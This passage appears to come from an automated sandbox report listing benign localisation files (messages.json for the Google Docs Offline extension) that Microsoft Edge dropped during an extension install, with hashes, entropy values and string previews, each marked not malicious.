
C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
